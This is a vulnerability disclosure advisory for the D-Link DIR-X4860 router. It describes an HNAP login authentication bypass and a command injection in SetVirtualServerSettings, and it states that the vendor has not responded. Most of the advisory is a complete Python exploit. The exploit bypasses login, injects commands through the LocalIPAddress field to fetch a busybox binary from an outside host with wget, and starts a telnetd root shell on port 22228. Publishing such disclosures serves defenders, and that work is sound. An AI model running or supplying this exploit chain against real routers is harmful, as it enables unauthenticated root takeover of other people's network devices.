SSD Advisory – D-Link DIR-X4860 Security Vulnerabilities

Summary

Security vulnerabilities in DIR-X4860 allow remote unauthenticated attackers that can access the HNAP port to gain elevated privileges and run commands as root. By combining an authentication bypass with command execution the device can be completely compromised.

Credit

A security researcher working with SSD Secure Disclosure

Vendor Response

The vendor has been reached out three times in the past 30 days and have not responded to any of our attempts.

Affected Versions

DIR-x4860 running DIRX4860A1_FWV1.04B03

Technical Analysis

 D-Link DIR-X4860 Routers HNAP PrivateLogin Incorrect Implementation of Authentication Algorithm Authentication Bypass

The specific flaw exists within the handling of HNAP login requests. The issue results from the lack of proper implementation of the authentication algorithm. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the router.

HNAP protocol

Step 1: Send the login request and wait for the response. The requested packet format is as follows:

Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://purenetworks.com/HNAP1/">
      <Action>request</Action>
      <Username>Admin</Username>
      <LoginPassword/>
      <Captcha/>
    </Login>
  </soap:Body>
</soap:Envelope>

The response data are as follows:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoginResponse xmlns="http://purenetworks.com/HNAP1/">
      <LoginResult>OK</LoginResult>
      <Challenge>........</Challenge>
      <Cookie>........</Cookie>
      <PublicKey>........</PublicKey>
    </LoginResponse>
  </soap:Body>
</soap:Envelope>

The response packet returns Challenge, Cookie, PublicKey.

The Cookie is used as the cookie header for all subsequent HTTP requests.

Challenge and PublicKey are used to encrypt the password and generate HNAP_AUTH authentication in the HTTP header.

Step 2: Send the login login and wait for the response. The requested packet format is as follows:

Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"
"HNAP_AUTH": "........"
"Cookie": "uid=........"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <Login xmlns="http://purenetworks.com/HNAP1/">
      <Action>login</Action>
      <Username>Admin</Username>
      <LoginPassword>........</LoginPassword>
      <Captcha/>
    </Login>
  </soap:Body>
</soap:Envelope>

The key values are calculated in the following way:

LoginPassword:
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
    SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
    Action = "Login"
    SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
    Time = int(round(time.time() * 1000))
    Time = math.floor(Time) % 2000000000000
    HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)

The response data are as follows:

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoginResponse xmlns="http://purenetworks.com/HNAP1/">
      <LoginResult>success</LoginResult>
    </LoginResponse>
  </soap:Body>
</soap:Envelope>

If the value of LoginResult is success, the authentication succeeds. If LoginResult is failed, authentication fails.

The vulnerability is in the /bin/prog.cgi file. The vulnerability occurs in the function that handles the login request.

int __fastcall sub_5394C(int a1, int a2, int a3, int a4)
{
  int v5; // r1
  char *v6; // r0
  const char *v7; // r5
  const char *v8; // r5
  int v10; // r0
  int v11; // r1
  int v12; // r2
  int v13; // r3

  sub_53074(a1, a2, a3, a4);
  if ( sub_51038(a1) )
  {
    v6 = GetHNAPParam(a1, "/Login/Action");
    v7 = v6;
    if ( v6 )
    {
      if ( !strncmp(v6, "request", 7u) )
      {
        handle_login_request(a1); // into here !!!
        return 1;
      }
      ******
}

int __fastcall handle_login_request(int a1)
{
  char *Username; // r11
  int v3; // r5
  int result; // r0
  const char *PrivateLogin; // [sp+Ch] [bp-84h]
  char s[64]; // [sp+10h] [bp-80h] BYREF
  char v7[64]; // [sp+50h] [bp-40h] BYREF
  char v8[64]; // [sp+90h] [bp+0h] BYREF
  char http_password[64]; // [sp+D0h] [bp+40h] BYREF
  char v10[128]; // [sp+110h] [bp+80h] BYREF

  memset(s, 0, sizeof(s));
  memset(v7, 0, sizeof(v7));
  memset(v8, 0, sizeof(v8));
  memset(http_password, 0, sizeof(http_password));
  memset(v10, 0, sizeof(v10));
  if ( sub_51FE4(a1) )
  {
    sub_5322C(a1, 5);
    result = 0;
  }
  else
  {
    GetHNAPParam(a1, "/Login/Action");
    Username = GetHNAPParam(a1, "/Login/Username");
    GetHNAPParam(a1, "/Login/LoginPassword");
    GetHNAPParam(a1, "/Login/Captcha");
    PrivateLogin = GetHNAPParam(a1, "/Login/PrivateLogin");
    sub_50F98(s, 20);
    sub_50F98(v7, 10);
    sub_50F98(v8, 20);
    if ( PrivateLogin && !strncmp(PrivateLogin, "Username", 8u) )
      strncpy(http_password, Username, 0x40u); // Authentication Bypass!!
    else
      get_http_password(http_password, 0x40u);
    sub_51284(s, http_password, v8, v10, 128);
    v3 = sub_51468(a1, v10, s, v7, v8);
    sub_51094(a1, v7);
    sub_5322C(a1, 0);
    result = v3;
  }
  return result;
}

The normal logic in the handle_login_request function is to get the http_password and then generate the PrivateKey from the http_password.

However, when the PrivateLogin parameter is included in the request, and the value of the PrivateLogin parameter is “Username“, then the PrivateKey is generated from the value of the Username parameter.

The Username parameter has a known value of “Admin“.

This means that when you perform a login login request, you can use “Admin” as the password to calculate the relevant data without knowing the real password:

LoginPassword:
password = ”Admin"
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
    SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
    Action = "Login"
    SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
    Time = int(round(time.time() * 1000))
    Time = math.floor(Time) % 2000000000000
    HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)

This bypasses login authentication.

D-Link DIR-X4860 SetVirtualServerSettings LocalIPAddress Command Injection Remote Code Execution

The specific flaw exists within prog.cgi, which handles HNAP requests made to the lighttpd webserver listening on TCP ports 80 and 443. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root.

The vulnerability is in the /bin/prog.cgi file. The vulnerability occurs in the function that handles the SetVirtualServerSettings.

void __fastcall SetVirtualServerSettings(int a1)
{
      ******
      log_log(7, "SetVirtualServerSettings", 599, "pProtocolNumber=%s\n", v19);
      snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "LocalIPAddress");
      LocalIPAddress_v16 = GetHNAPParam(a1, v20);
      if ( !LocalIPAddress_v16 )
      {
        v5 = 604;
        goto LABEL_9;
      }
      log_log(7, "SetVirtualServerSettings", 606, "pLocalIPAddress=%s\n", LocalIPAddress_v16);
      snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "ScheduleName");
      v8 = GetHNAPParam(a1, v20);
      if ( !v8 )
      {
        v5 = 611;
        goto LABEL_9;
      }
      if ( !strcmp(s1, "true")
        && !strcmp(v13, "9")
        && !strcmp(v7, "UDP")
        && FCGI_popen_v1(LocalIPAddress_v16, v13, v7, s, ++v14) == -1 ) // into here !!!
      {
        v5 = 620;
        goto LABEL_9;
      }
      ******
}

int __fastcall FCGI_popen_v1(const char *LocalIPAddress, int a2, int a3, char *a4, int a5)
{
  int v7; // r0
  int v8; // r6
  char v10[20]; // [sp+Ch] [bp-14h] BYREF
  char v11[64]; // [sp+20h] [bp+0h] BYREF
  char v12[68]; // [sp+60h] [bp+40h] BYREF

  memset(v11, 0, sizeof(v11));
  memset(v10, 0, 0x12u);
  memset(v12, 0, 0x40u);
  snprintf(v12, 0x40u, "arp | grep %s | awk '{printf $4}'", LocalIPAddress);
  v7 = FCGI_popen(v12, "r"); // rce !!!
  ******
}

The LocalIPAddress parameter is controlled by the attacker, and then a call to the FCGI_popen function can cause command injection.

Proof of Concept

#!/usr/bin/env python
import hmac
import base64
import hashlib
from hashlib import sha256
import time
import math
import logging
import sys

import requests

from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.propagate = True


def get_sha256(value):
    """ get_sha256 """
    hsobj = hashlib.sha256()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()


def get_key_hashlib_sha256(key, value):
    """get_key_hashlib_sha256"""
    hsobj = hashlib.sha256(key.encode("utf-8"))
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()


def get_hmac_hashlib_sha256(value):
    """get_hmac_hashlib_sha256"""
    message = value.encode("utf-8")
    return hmac.new(message, digestmod=hashlib.sha256).hexdigest().upper()


def get_hmac_key_hashlib_sha256(key, value):
    """get_hmac_key_hashlib_sha256"""
    message = value.encode("utf-8")
    return (
        hmac.new(key.encode("utf-8"), message, digestmod=hashlib.sha256)
        .hexdigest()
        .upper()
    )


def get_base64_hmac_sha256(key, value):
    """get_base64_hmac_sha256"""
    key = key.encode("utf-8")
    message = value.encode("utf-8")
    sign = base64.b64encode(hmac.new(key, message, digestmod=sha256).digest())
    base64sha256 = str(sign, "utf-8")
    return base64sha256


def get_md5(value):
    """get_md5"""
    hsobj = hashlib.md5()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()


def get_key_md5(key, value):
    """get_key_md5"""
    hsobj = hashlib.md5(key.encode("utf-8"))
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest().upper()


def get_hmac_key_md5(key, value):
    """get_hmac_key_md5"""
    message = value.encode("utf-8")
    return (
        hmac.new(key.encode("utf-8"), message, digestmod=hashlib.md5)
        .hexdigest()
        .upper()
    )


def get_hmac_md5(value):
    """get_hmac_md5"""
    message = value.encode("utf-8")
    return hmac.new(message, digestmod=hashlib.md5).hexdigest().upper()


def send_http(ip, port, https, headers, data):
    """send_http"""
    if https is True:
        https = "s"
    else:
        https = ""

    res = requests.post(
        url=f"http{https}://{ip}:{port}/HNAP1/",
        data=data,
        headers=headers,
        timeout=1,
        verify=False,
    )

    res_text = res.text
    print(f"res_text\n===\n{res.text}\n===\n")

    challenge = ""
    if "<Challenge>" in res_text:
        usb_adv_cgi_id = res_text.split("<Challenge>")
        id_value = usb_adv_cgi_id[1].split("</Challenge>")
        challenge = id_value[0]
        print(f"[+] Challenge = {challenge}")

    cookie = ""
    if "<Cookie>" in res_text:
        usb_adv_cgi_id = res_text.split("<Cookie>")
        id_value = usb_adv_cgi_id[1].split("</Cookie>")
        cookie = id_value[0]
        print(f"[+] Cookie = {cookie}")

    public_key = ""
    if "<PublicKey>" in res_text:
        usb_adv_cgi_id = res_text.split("<PublicKey>")
        id_value = usb_adv_cgi_id[1].split("</PublicKey>")
        public_key = id_value[0]
        print(f"[+] PublicKey = {public_key}")

    if "<LoginResult>" in res_text:
        usb_adv_cgi_id = res_text.split("<LoginResult>")
        id_value = usb_adv_cgi_id[1].split("</LoginResult>")
        login_result = id_value[0]
        print(f"[+] LoginResult = {login_result}")

    return challenge, cookie, public_key, res_text


def login_request(ip, port, https):
    """login_result"""
    xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <Login xmlns="http://purenetworks.com/HNAP1/">
            <Action>request</Action>
            <Username>Admin</Username>
            <PrivateLogin>Username</PrivateLogin>
            <login_password></login_password>
            <Captcha></Captcha>
        </Login>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
        "Content-Type": "text/xml; charset=UTF-8",
    }

    challenge, cookie, public_key, _ = send_http(ip, port, https, headers, xml_post)
    if challenge == b"":
        print("[-] get Challenge error")
        sys.exit(0)

    return challenge, cookie, public_key


def login_login(ip, port, https, login_password, hnap_auth, time_now, cookie):
    """login_login"""
    xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <Login xmlns="http://purenetworks.com/HNAP1/">
            <Action>login</Action>
            <Username>Admin</Username>
            <LoginPassword>{login_password}</LoginPassword>
            <Captcha></Captcha>
        </Login>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    send_http(ip, port, https, headers, xml_post)


def get_internet_conn_up_time(ip, port, https, hnap_auth, time_now, cookie):
    """get_internet_conn_up_time"""
    xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetInternetConnUpTime xmlns="http://purenetworks.com/HNAP1/" />
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/GetInternetConnUpTime"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    _, _, _, res_text = send_http(ip, port, https, headers, xml_post)

    return res_text


def set_virtual_server_settings(ip, port, https, hnap_auth, time_now, cookie, cmd):
    """set_virtual_server_settings"""
    xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SetVirtualServerSettings xmlns="http://purenetworks.com/HNAP1/">
            <VirtualServerList>
                <VirtualServerInfo>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo>
                <VirtualServerInfo:0>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo:0>
                <VirtualServerInfo:1>
                    <Enabled>true</Enabled>
                    <VirtualServerDescription>false</VirtualServerDescription>
                    <ExternalPort>false</ExternalPort>
                    <InternalPort>9</InternalPort>
                    <ProtocolType>UDP</ProtocolType>
                    <ProtocolNumber>UDP</ProtocolNumber>
                    <LocalIPAddress>{cmd}</LocalIPAddress>
                    <ScheduleName>false</ScheduleName>
                </VirtualServerInfo:1>
            </VirtualServerList>
        </SetVirtualServerSettings>
    </soap:Body>
</soap:Envelope>"""

    headers = {
        "Host": ip,
        "X-Requested-With": "XMLHttpRequest",
        "HNAP_AUTH": f"{hnap_auth} {time_now}",
        "SOAPAction": '"http://purenetworks.com/HNAP1/SetVirtualServerSettings"',
        "Content-Type": "text/xml; charset=UTF-8",
        "Cookie": f"uid={cookie}",
    }

    send_http(ip, port, https, headers, xml_post)

def exploit():
    """ Exploit """
    target_ip = "192.168.4.1"
    target_port = 443
    target_https = True

    print("Login_request")
    challenge, cookie, public_key = login_request(target_ip, target_port, target_https)
    # print(f"{Challenge=}, {Cookie=}, {PublicKey=}")

    dummy_password = "Admin"

    private_key = get_hmac_key_md5(public_key + dummy_password, challenge)
    login_password = get_hmac_key_md5(private_key, challenge)
    print(f"[+] login_password : {login_password}")

    soap_namespace2 = "http://purenetworks.com/HNAP1/"
    action = "Login"
    soap_action = f'"{soap_namespace2}{action}"'
    print(f"[+] SOAPAction : {soap_action}")

    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    print(f"[+] Time : {time_now}")

    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
    print(f"[+] HNAP_AUTH : {hnap_auth}")

    login_login(
        target_ip, target_port, target_https, login_password, hnap_auth, time_now, cookie
    )

    soap_namespace2 = "http://purenetworks.com/HNAP1/"
    action = "GetInternetConnUpTime"
    soap_action = f'"{soap_namespace2}{action}"'
    print(f"[+] SOAPAction : {soap_action}")

    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    print(f"[+] Time : {time_now}")

    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
    print(f"[+] HNAP_AUTH : {hnap_auth}")

    print("Checking for the vulnerability")
    res_text = get_internet_conn_up_time(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie
    )

    if "You need proper authorization to use this resource" in res_text:
        print("Target doesn't appear to be vulnerable")

    print("Running the RCE")
    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print(
        "Downloading busybox from 'http://192.168.0.100:8000/busybox' as "
        "the one on the device isn't good"
    )

    cmd = "1;wget http://192.168.0.100:8000/busybox -O /tmp/tel;AAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )

    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print("Renaming busybox to /tmp/telnetd")
    cmd = "1;chmod +x /tmp/tel;mv /tmp/tel /tmp/telnetd;AAAAAAAAAAAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )

    action = "SetVirtualServerSettings"
    soap_action = f'"{soap_namespace2}{action}"'
    time_now = int(round(time.time() * 1000))
    time_now = math.floor(time_now) % 2000000000000
    time_now = "%d" % time_now
    hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)

    print("Launching telnetd on port 22228")
    cmd = b"1;/tmp/telnetd -p 22228 -l sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    set_virtual_server_settings(
        target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
    )


if __name__ == "__main__":
    exploit()

?

Get in touch